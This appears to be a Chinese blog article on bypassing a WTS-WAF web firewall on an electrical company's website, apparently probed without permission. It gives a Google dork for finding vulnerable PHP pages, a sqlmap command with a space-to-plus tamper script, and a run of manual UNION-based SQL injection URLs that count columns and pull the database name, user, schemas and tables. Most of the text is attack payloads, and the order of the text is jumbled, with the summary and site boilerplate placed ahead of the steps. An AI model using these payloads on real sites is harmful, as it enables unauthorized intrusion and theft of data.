如何进行绕过WTS-WAF的分析
时间:2023-05-13 16:20
找到了一个电器公司的网站,随便测了测,发现有waf 这还不安排(找了点资料,貌似直接加号代替空格就可以,直接尝试) 发现没有waf拦截了 资料还说了 工具我尝试了发现无法开始 就这样子...... 它回显了第2和第8 总结: 1.工具跑不起就只能手注了 2.实践了下mysql的手注 以上就是如何进行绕过WTS-WAF的分析的详细内容,更多请关注Gxl网其它相关文章!0x01.寻找目标
inurl:.php?id= intext:电器
0x02.操作
sqlmap.py -u http://*/*.php?id=29 --tables --tamper space2plus.py
0x03.手注
http://*/*.php?id=1+and+1=1 #回显正常http://*/*.php?id=1+and+1=2 #回显错误说明存在注入http://*/*.php?id=1+order+by+15 #15回显错误http://*/*.php?id=1+order+by+14 #14回显正常说明有14个字段http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14 #-1让它错误然后执行后面
http://*/*.php?id=-1+union+select+1,database(),3,4,5,6,7,user(),9,10,11,12,13,14 #查询当前数据库信息和当前用户一些常见的函数version() #显示数据库当前版本database() / schema() #显示当前数据库名user() / system_user() / session_user() / current_user() / current_user() #显示当前用户名称charset(str) #返回字符串str的字符集collation(str) #返回字符串str的字符排列方式
0x04.查数据
爆数据库
http://*/*.php?id=-1+union+select+1,group_concat(schema_name),3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1
它不能group_concat,那我就一个一个查了!http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1 #从1开始取一个http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+1,1 #从2开始取一个
爆数据表
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1
爆数据
http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,字段名,9,10,11,12,13,14+表名+limit+0,1